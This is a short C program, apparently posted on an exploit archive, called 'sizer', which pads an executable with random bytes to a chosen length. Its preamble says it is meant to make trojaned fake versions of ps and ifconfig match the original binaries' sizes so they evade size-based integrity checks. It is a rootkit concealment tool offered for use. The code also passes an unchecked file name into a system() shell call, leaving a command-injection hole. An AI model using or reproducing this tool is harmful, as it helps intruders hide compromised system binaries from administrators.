If you install the ps faker, ifconfig faker, and HRS, the size of such programs will be smaller than original commands. This program adjusts the size of executable program, avoids the size check.
02538901268fd7ff4247fc92bb051163/*====================================================================
sizer Version 2.00
Executable file size adjuster
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net
====================================================================
*/
#include <stdio.h>
#define TEMPFILE "/tmp/.tmp_sizer"
main(int argc,char *argv[])
{
FILE *fpi,*fpo;
int i,s,os;
char buf[1000];
if (argc!=3){
printf("usage : %s file size\n",argv[0]);
exit(1);
}
if ((fpi=fopen(argv[1],"rb"))==NULL){
printf("File not found %s\n",argv[1]);
exit(1);
}
if ((fpo=fopen(TEMPFILE,"wb"))==NULL){
printf("File write error %s",TEMPFILE);
exit(1);
}
s=atoi(argv[2]);
for (os=0;;){
i=fread(buf,1,1000,fpi);
if (i==0) break;
fwrite(buf,1,i,fpo);
os+=i;
}
fclose(fpi);
s-=os;
for (i=0;i<s;i++)
putc(rand()&0xff,fpo);
fclose(fpo);
sprintf(buf,"mv %s %s",TEMPFILE,argv[1]);
system(buf);
}
Comments
No comments yet, be the first!